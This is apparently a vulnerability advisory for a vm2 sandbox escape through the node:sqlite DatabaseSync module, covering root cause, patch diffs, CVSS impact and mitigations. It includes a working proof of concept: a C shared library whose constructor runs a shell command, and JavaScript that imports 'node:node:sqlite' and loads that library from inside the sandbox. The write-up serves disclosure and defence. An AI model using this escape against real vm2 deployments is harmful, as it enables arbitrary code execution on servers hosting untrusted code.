CVE-2026-92938: Remote Code Execution in vm2 via node:sqlite DatabaseSync Sandbox Escape

The vm2 library is an archived Node.js execution sandbox designed to run untrusted code by isolating variables and enforcing strict execution limits using JavaScript proxy layers. This library attempts to prevent escape by wrapping all host-side native objects and built-in modules in protective layers. It restricts untrusted code from modifying property definitions, ascending the prototype chain, or accessing execution-critical modules on the host. Historically, the library has faced numerous boundary escapes arising from the mismatch between the high dynamic flexibility of JavaScript runtimes and the static constraints of sandbox environments.

This specific vulnerability is cataloged as CWE-693 (Protection Mechanism Failure). It exists within the intersection of the sandbox's module resolution pipeline and the native SQLite engine built-in module (node:sqlite) added in newer versions of Node.js. Under specific environments where node:sqlite is exposed to the sandbox execution context, the boundary guarantees fail completely. This enables untrusted scripts to invoke host-realm operating system functions and dynamically load malicious compiled libraries directly into the host process memory.

Two specific architectural flaws make this escape possible. First, the sandbox's internal import system fails to accurately filter double-prefixed module paths such as node:node:sqlite. Second, the proxy boundary wrapper fails to intercept functional option structures passed to host-side native classes, which leaves the dangerous extension-loading mechanics of the SQLite engine active.

As a consequence, any system utilizing vm2 to isolate third-party extensions, user-submitted code, or multi-tenant plugins is exposed to arbitrary remote code execution on the server hosting the process. The vulnerability requires no authentication from the perspective of the application executing the sandbox, as the exploit code runs directly inside the guest VM instance and transitions control to the host operating system.

The first phase of the exploit involves bypassing the import path sanitation checks in lib/setup-node-sandbox.js. When a sandboxed application requests a built-in module via require(), the framework normalizes the import path. Prior to the fix, the parser checked if a string started with the node: protocol prefix. If verified, the engine stripped exactly one instance of this prefix using substring slicing (filename.slice(5)) and processed the remainder. If an attacker imports node:node:sqlite, the outer node: is stripped, producing node:sqlite. Because this resolved identifier matches a registered safe key in the internal map, the engine loads the module but fails to subject the instance to downstream canonical validation paths, loading a raw version of node:sqlite.

Once the module is loaded, the second bypass targets the runtime proxy boundary. The architecture uses vm.readonly() wrappers to intercept modification operations on host properties. This mechanism uses a JavaScript Proxy object that implements a set trap to reject property reassignments. However, the proxy does not interfere with standard execution invocation (apply traps). When the sandbox script executes methods on the wrapped object, the application transfers control directly to the native host-realm function. This allows the sandbox to use the host process's system authority without constraint.

The native Node.js DatabaseSync constructor accepts an configuration parameters block. Crucially, the option flag allowExtension controls whether SQLite can load native shared libraries. By setting this property to true during instantiation, code execution becomes possible via DatabaseSync.prototype.loadExtension(). Since JavaScript functions are standard objects that can carry dynamic attributes, passing a functional object configured with options.allowExtension = true bypassed the validation routines, which only checked traditional object literal structures.

To correct this vulnerability, the development team updated two core files within the repository. The fix is concentrated within commit aa146a77f859325e079f3bfbfe6d8309af483daa.

In lib/setup-node-sandbox.js, the module import parsing logic was modified to strictly block double-prefixed paths. The following code diff shows how the patch prevents recursive bypass attempts:

// lib/setup-node-sandbox.js
 if (localStringPrototypeStartsWith(filename, 'node:')) {
     id = localStringPrototypeSlice(filename, 5);
+    // Reject nested node: prefixes to prevent registration bypasses
+    if (localStringPrototypeStartsWith(id, 'node:')) {
+        throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND');
+    }
     // Fall back to registration lookup
     let nmod = cacheBuiltins[id];

In addition to fixing the import path, the second code fix is located in lib/builtin.js. The framework now intercepts the native DatabaseSync module and dynamically subclasses it. This subclass forces the allowExtension parameter to false regardless of how the calling script tries to configure it, neutralizing both standard objects and function-typed options objects:

// lib/builtin.js
function sanitizeSqliteModule(mod) { 
	const HostDatabaseSync = mod.DatabaseSync;
	if (typeof HostDatabaseSync !== 'function') return mod;
	const copy = Object.assign({}, mod);
	class DatabaseSync extends HostDatabaseSync {
		constructor(location, ...rest) {
			// Intercept parameters of type 'object' and 'function' to force extensions off
			if (rest.length > 0 && rest[0] !== null &&
				(typeof rest[0] === 'object' || typeof rest[0] === 'function')) {
				rest[0] = Object.assign({}, rest[0], {allowExtension: false});
			}
			super(location, ...rest);
		}
	}
	copy.DatabaseSync = DatabaseSync;
	return copy;
}

This patch is highly specific to the node:sqlite module. However, because it relies on individual subclass modifications to defend against specific built-in capabilities, this design remains fundamentally fragile. If Node.js introduces new native APIs with similar execution capabilities, similar proxy escapes are highly likely to occur. This underlying fragility eventually led to the project being deprecated.

For an attacker to successfully exploit this vulnerability, the target environment must meet specific conditions. First, the host server must run a version of Node.js that includes the native node:sqlite module. Second, the host application must configure the vm2 instance to allow imports of node:sqlite or permit wildcard imports using the configuration option builtin: ['*'].

The attack begins by packaging a malicious binary library, such as exploit.so on Linux or exploit.dylib on macOS. This binary is compiled with an initialization constructor that runs whenever the library is dynamically loaded into memory:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
__attribute__((constructor)) void init() {
    // Escapes the process and executes host shell commands
    system("id > /tmp/compromised.txt");
}

Once the binary is compiled and placed in a path reachable by the host process, the attacker executes the following JavaScript payload inside the sandbox environment:

const { DatabaseSync } = require('node:node:sqlite');
 
// Create a function object to bypass object-only filters
function options() {}
options.allowExtension = true;
 
// Instantiate the database using the bypass options block
const db = new DatabaseSync(':memory:', options);
 
// Trigger the dynamic linker to execute the native payload
try {
    db.loadExtension('/path/to/exploit.so');
} catch (e) {
    // The operating system linker handles the load before runtime errors occur
}

When DatabaseSync initializes with the functional options payload, the native constructor receives allowExtension: true. When loadExtension() executes, the host process invokes the operating system's standard dynamic library load functions (such as dlopen). This imports the shared binary into the memory space of the main Node.js process and executes the payload outside the sandbox boundary.

The impact of CVE-2026-92938 is classified as Critical, carrying an NVD CVSS v3.1 base score of 9.9. The scope metric is explicitly evaluated as Changed (S:C), reflecting that an exploit successfully crosses security boundaries. This allows code running in the isolated guest environment to execute commands directly on the host machine. The Confidentiality, Integrity, and Availability impact scores are all rated as High (C:H/I:H/A:H).

When an attacker achieves native remote code execution on the host system, they assume the same execution privileges as the running Node.js process. If the application runs under a privileged system user, the attacker can access sensitive system credentials, alter system configurations, or write persistent backdoor access points. If the system runs inside a container, the exploit allows the attacker to compromise container resources, read sensitive environment variables, and map the surrounding internal network.

While the EPSS score is currently measured at 0.00616 (representing a 47.61% percentile rank), this indicates a relatively low volume of automated mass scanning rather than a low risk. Because the exploit requires specific conditions, such as having access to a sandbox interface and finding specific Node.js versions, it is highly targeted. Organizations that rely on vm2 to host untrusted code remain highly vulnerable to targeted attacks.

To mitigate this vulnerability, system administrators and developers must take immediate action. The primary and most direct mitigation is to update vm2 to version 3.11.7 or later. This version contains the required path resolution fixes and argument checks to secure the DatabaseSync module.

If you cannot update the library immediately, you should modify the NodeVM options to explicitly disable imports of the node:sqlite module. Do not use wildcard configurations like builtin: ['*']. Instead, use strict allowlists to restrict access to only the minimum required modules:

const { NodeVM } = require('vm2');
const vm = new NodeVM({
    require: {
        builtin: ['path', 'crypto'], // Explicitly exclude 'node:sqlite' and 'sqlite'
        external: false
    }
});

Because the vm2 library is officially deprecated and archived, upgrading to 3.11.7 should only be treated as a temporary measure. The developers of vm2 advise migrating all sandboxed environments to more secure alternatives. Software architects should consider using V8 isolate-based isolation libraries like isolated-vm. For running highly untrusted code, you should isolate executing tasks at the operating system level using lightweight micro-virtualization tools like Firecracker, or container sandboxes like gVisor.